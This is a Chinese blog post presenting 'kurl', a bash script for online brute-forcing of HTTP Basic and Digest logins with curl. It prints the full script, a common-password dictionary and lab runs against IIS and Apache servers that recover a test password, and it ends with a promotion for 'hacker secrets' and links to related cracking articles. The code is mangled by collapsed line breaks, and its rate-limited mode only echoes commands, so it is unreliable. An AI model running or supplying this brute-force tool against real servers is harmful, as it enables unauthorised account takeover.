0x00:背景

HTTP认证(HTTP-Authentication,后文统称http-auth)是一种标准化的HTTP安全加固方法(RFC 7235等),虽然不怎么常用,因为WEB服务器的页面通常情况下都采用匿名认证方式,即允许所有人访问(如果服务器或者防火墙没有进行IP限制)。与其他基于密码的身份认证方式一样(如果未引入其它认证因子),http-auth同样存在无法核实用户是否为真实可信的用户。虽然http-auth技术并不常用,但在我们后期的研究工作中会频繁涉及(研究正在进行中,不便透露具体应用场景),加之我们希望能在低功耗、多元化OS的场景下实施http-auth攻击,因此我们希望寻求一种折中的方案——既便于在多平台下使用,又能大幅减少功耗,毕竟在手机,平板电脑上面电池续航是一个很大的问题。正是基于上述原因,我们尝试着用shell脚本写了“閦蠱”项目(vmOS)上的第一个hacking APP——kurl, kill http-auth via curl。

0x01:验证

Curl是一个*nix平台下非常容易获取和安装的工具,可以满足对CLI重度依赖的用户实现必要的HTTP访问请求。Curl提供了对常见http-auth的支持,包括basic,digest,ntlm,negotiate等。但是,我们后期研究工作中大概率涉及到的是basic和digest这两种认证,因此我们在kurl的demo中只实现了对这两种认证的支持。

通过在Windows Srv 2012 R2和CentOS上配置http-auth后,我们通过curl命令获取想要的页面,比如http://192.168../testme.html。 同时,我们将获取到的页面保存到本地,通过先后输入正确和错误的密码,我们得到了两个不同大小的页面,并且分析其中内容后,我们确认:

——在输入正确的用户名和密码后,我们可以获得登录成功后的目标页面;
——在输入错误的用户名或者密码后,我们得到的页面包括http状态代码401的页面
——通过大小比对以及返回状态码,我们完全可以轻易区分登录成功和失败的页面。其实,burpsuite也是采用的这种方法,不过它具有更强的通用性和便捷的UI。

再者,我们可以看到错误页面中存在http状态代码401,大多数情况下都会有这个status代码,这是http-auth协议中规定的。

通过上面的验证,我们确信可以通过编写一个简单的shell脚本,来实现针对basic和digest这两种http-auth的在线暴力破解工具,同时还可以根据后期可能用到的功能进行精细打磨。

0x02:kurl实现

Kurl只是一个验证性的demo,因此只是实现了最简单的功能,针对采用basic和digest两种方式验证用户身份的http-auth进行在线暴力破解。考虑到我们自己在后期项目中可能存在的需求,我们引入了最大猜解次数和休眠间隔,尽可能把人工干预降至最低。

考虑到每次读取和保存的html页面体积较小,因此没有做一个专门的kurl_check_passwd函数。使用者只需要通过cat命令,diff命令以及ls命令进行简单的判断,即可知晓哪一个可能是真实的登录密码。如前文所述,登录成功和失败两种情况通常只会对应两个不同大小以及http status代码(如果服务端返回http status代码)的页面。kurl工具Demo完整代码如下:

kurl —— [https://github.com/virusmore/virusmore/tree/main/Hacking%20APP/kurl](https://github.com/virusmore/virusmore/tree/main/Hacking APP/kurl)

#!/bin/bash#
# APP: kurl -- kill http-auth via curl
#
# Auther: 閦蠱(virusmore)
#
# Param:
# $1 -- http-auth type, basic, digest or anyauth. However, anyauth is NOT suggested by curl official.
# $2 -- url to attack
# $3 -- username
# $4 -- path of the dictionary full of passwd
# $5 -- num of max tries in integers
# $6 -- time interval to sleep in seconds
#
# Change Log:
## Default time interval of 180 seconds
KURL_DEFAULT_TIME_INTERVAL=180#
# Pure attack without considering max tries or time interval
#
function kurl_attack () {index=0cat $4 | while read linedo# Delete all chars that may lead to mistakespasswd=`echo $line | tr -d "\n"`echo [+]curl --$1 -u $3:$passwd -o "kurl_"$3"_"$index".html" "$2"curl --$1 -u $3:$passwd -o "kurl_"$3"_"$index".html" "$2"let index++done
}#
# Attack with max tries of interval, 5*60 seconds
#
function kurl_attack_with_max_tries () {try=1index=0time_interval=$KURL_DEFAULT_TIME_INTERVAL# Get the time interval user inputif test $# -eq 6thentime_interval=$6fi# Loop to attack from the input passwd dictionarycat $4 | while read linedo# Delete all chars that may lead to mistakespasswd=`echo $line | tr -d "\n"`# DO NOT exced the max triesif test $try -lt $5thenecho [+] curl --$1 -u $3:$passwd -o "kurl_"$3"_"$passwd"_"$index".html" "$2"let try++elseecho [!]Sleep $time_interval#echo sleep $time_intervallet try=1filet index++done
}# Check the http-auth type
if [[ $1 != "basic" && $1 != "digest" ]]
thenecho "[!]Plz check your input on http-auth type!"exit 0
fi# Check the number of params
case $# in4)# Invoke krul_attack to launch attackkurl_attack $1 $2 $3 $4;;5)kurl_attack_with_max_tries $1 $2 $3 $4 $5;;6)kurl_attack_with_max_tries $1 $2 $3 $4 $5 $6;;*)echo "[!]Plz check your input!"exit 0;;
esac

0x03:测试

测试环境:MacOS 11.4

用户信息:test:admin@123

字典文件:passwd.txt

123456
admin
88888888
666666
987654321
admin@123
password
12345678
iloveyour
qwerty123
!@#$%^
!@#$%^&*
qaz123
00000000
toor
root

目标页面URL及网页源代码:http://192.168.168.8/***/testme.html

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="vmOS -- Virusmore OS">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS Windows Server</title>
</head>
<body>
I AM JUST A TEST PAGEFILE…
</body>
</html>

目标环境:Windows Srv 2012 R2以及CentOS 8

——Windows Srv 2012 R2 + IIS
——CentOS 8 + Apache
——认证方式:basic,digest

1) Windows,IIS,basic认证

IIS服务器http-auth配置:

执行以下命令后,所得到的结果截屏如下图:

kurl basic “http://192.168.168.8/testme.html“ test passwd.txt

在Windows Srv 2012 R2服务器上,IIS用户验证设置为basic时,kurl会逐一用“test:密码”这样的验证信息调用curl命令,并且保存读取到的文件。从ls罗列出的信息来看,kurl_test_5.html的文件的大小明显小于其它html文件。通过查看该页面内容,的确为所需访问的目标页面,如下:

2) Windows,IIS,digest认证

如上图所示,在Windows Srv 2012 R2服务器上,IIS设置了摘要式身份认证(digest)。同样,我们在macOS上,我们设定用户名为test,在线爆破文件为passwd.txt,执行以下命令,实施在线爆破:

kurl digest “http://192.168.168.8/testme.html“ test passwd.txt

从上图中,我们可以看到与测试1中几乎一模一样的结果(文件创建时间不同)。再者,kurl_test_5.html文件对应的内容也与我们所需访问的目标页面一样。

3) CentOS,Apache,basic认证

执行如下命令:

kurl basic “http://192.168.168.8/basic/testme.html“ test passwd.txt

该测试用例下的配置及命令执行结果如下图:

从上面图中我们可以清晰的看到,kurl_test_5.html文件对应的大小与其它文件不同,其对应的密码正是test用户的密码“admin@123”。

4) CentOS,Apache,digest认证

kurl digest “http://192.168.168.8/digest/testme.html“ test passwd.txt

上述命令执行之后的结果以及该测试用例对应的配置文件如下图:

从测试结果可以明显看出,kurl已经成功获取了该测试用例下,登录成功后的页面,当然也保存了所有登录失败的页面。

0x04:总结

目前,kurl只是一个非常简单,甚至简陋的shell脚本而已,但是它体现了将复杂问题简单化的思想。同时,由于kurl自身的轻量化特性,使得我们可以将一些重型hacking tool(Burpsuite等)上的部分功能移植到仅支持CLI的安卓或iOS Linux模拟器上。再者,由于kurl自身基于shell编写,因此可以在所有*nix系统上愉快的使用,当然前提是能够安装curl。

此外,我们后期会逐步在GitHub上发布更多的原创Hacking APP,主要是针对IoT环境下的hacking,当然最重要的还是希望更多志同道合的朋友一起参与“閦蠱”项目(vmOS),打造一款适合华人安全圈的Hacking OS——vmOS。

0x05:参考

  1. “閦蠱”项目(virusmore). [https://github.com/virusmore/virusmore/tree/main/Hacking%20APP/kurl](https://github.com/virusmore/virusmore/tree/main/Hacking APP/kurl)
  2. curl使用手册. https://curl.se/docs/manpage.html
  3. RFC 7235. https://tools.ietf.org/html/rfc7235


今天的分享就到这里,喜欢的小伙伴记得一键三连,我有一个公粽号【黒掌】, 可以免费获取更多黑客秘籍,欢迎来耍!

Kurl——轻量化http-authentication在线暴破工具相关推荐

  1. 柴门牌RAR文件解压、暴破工具

    本软件由柴门(wooddoor)开发,可以免费使用. 本软件最初是由于本人遗忘了网上银行证书压缩包的密码,试用了n个RAR密码破解器,都没能达到自己的目的,于是自己利用WinRar官网提供的免费的Un ...

  2. 搜索NLP行业模型和轻量化客户定制

    简介:开放搜索NLP行业模型和轻量化客户定制方案,解决减少客户标注成本.完全无标注或少量简单标注的等问题,让搜索领域扩展更易用. 特邀嘉宾: 徐光伟(昆卡)--阿里巴巴算法专家 搜索NLP算法 搜索链 ...

  3. 暴破助攻提权:ruadmin

    i春秋作家:yangyangwithgnu 1 缘由 千辛万苦拿下的 webshell 不是 www-data 用户就是 networkservice 权限,要想拓展攻击面.扩大战果,提权,是必经之路 ...

  4. 高收益的笨办法:暴破在Windows提权中的应用

    千辛万苦拿下的 webshell 不是 www-data 用户就是 networkservice 权限,要想拓展攻击面.扩大战果,提权,是必经之路,也是后渗透阶段成功的关键.windows 提权,我常 ...

  5. 【论文解读】突破置换模块计算瓶颈,MSRA开源轻量版HRNet,超越主流轻量化网络!|CVPR2021...

    作者丨happy 审稿丨邓富城 编辑丨极市平台 极市导读 本文从HRNet与轻量化网络ShuffleNet的组合出发,针对置换模块存在的计算瓶颈问题,提出了一种高效条件通道加权单元替换1x1卷积,并得 ...

  6. 梦聆轻量化音乐播放器源码

    源码介绍: 梦聆音乐是一款轻量化的播放器,可以播放多种格式的本地音乐文件,多歌单设计,同时也支持解析包括网易云 qq音乐 在内的多个平台的在线歌单. 源码截图: 下载地址: http://www.by ...

  7. 屏蔽预训练模型的权重。 只训练最后一层的全连接的权重。_轻量化 | 如何让笨重的深度学习模型在移动设备上跑起来?看它!...

    概述​ 卷积神经网络依靠神经网络中数以千万计的网络参数共同参与计算,存在网络结构复杂,运算量大,速度慢的缺点,并且很难移植到嵌入式设备中.随着网络模型层数越来越深,参数越来越多,减少他们的大小和计算损 ...

  8. 轻量化规划调度引擎——OptaPlanner简介

    轻量化规划调度引擎--OptaPlanner简介 苦逼博士僧一枚,从去年起开始使用OptaPlanner 7.0.0做一些工程项目,最近将引擎更新到最新7.10.0版本,发现国内使用OptaPlann ...

  9. 56 Marvin: 一个支持GPU加速、且不依赖其他库(除cuda和cudnn)的轻量化多维深度学习(deep learning)框架介绍...

    0 引言 Marvin是普林斯顿视觉实验室(PrincetonVision)于2015年提出的轻量化GPU加速的多维深度学习网络框架.该框架采用纯c/c++编写,除了cuda和cudnn以外,不依赖其 ...

最新文章

  1. 华为诺亚方舟开源预训练模型“哪吒”,4项任务均达到SOTA
  2. nginx+fastcgi实现动静分离架构
  3. 信息系统项目管理师:第5章:项目范围管理(2)-重点汇总
  4. Nginx之进程间的通信机制-Channel
  5. 设计模式之观察者模式demo
  6. 图片加载框架Picasso - 源码分析
  7. linux重定向输出时加时间变量,shell 重定向错误输出到文件 加上时间(标明错误抛出的时间)...
  8. python字节流分割_Python 字节流,字符串,十六进制相互转换实例(binascii,bytes)
  9. C++ String封装
  10. python sep参数_Python 3.3:分离参数(sep)给出
  11. 写给JAVA入门书作者们的一封信
  12. keras 多GPU训练,单GPU权重保存和预测
  13. CloudComparePCL 主曲率、平均曲率以及高斯曲率计算
  14. 竟然在GitHub标星27k+阿里大牛肝出的443页TCP/IP协议趣谈笔记,有何神奇之处?
  15. SPSS多元线性回归
  16. 分享几个学习练习盲打的网站
  17. RFID第二版答案-第三章
  18. 当前打印机不可用,请选择其他打印机
  19. MySQL安装的苦难辉煌——6次卸载7次安装,希望我的弯路你不要走。。。
  20. python 的emulate函数封装_用模拟执行实现Objective-C代码自动化分析

热门文章

  1. oracle远程不能访问权限,oracle限制远程访问
  2. vscode使用方法
  3. Spawn service failed. Exiting. 的处理方法
  4. java 防篡改_用JAVA写一个简易图片防篡改
  5. Linux下载蓝奏云文件,蓝奏云CMD控制台
  6. springboot+Vue开发的 ktv预定管理系统
  7. Taro 小程序开发大型实战(六):尝鲜微信小程序云(上篇)
  8. 基于真实案例,浅谈EPC项目成本管理控制
  9. 计算机网络个人简历范文,计算机网络个人简历范文
  10. cmd导入数据到Oracle,oracle在cmd下通过命令导入导出数据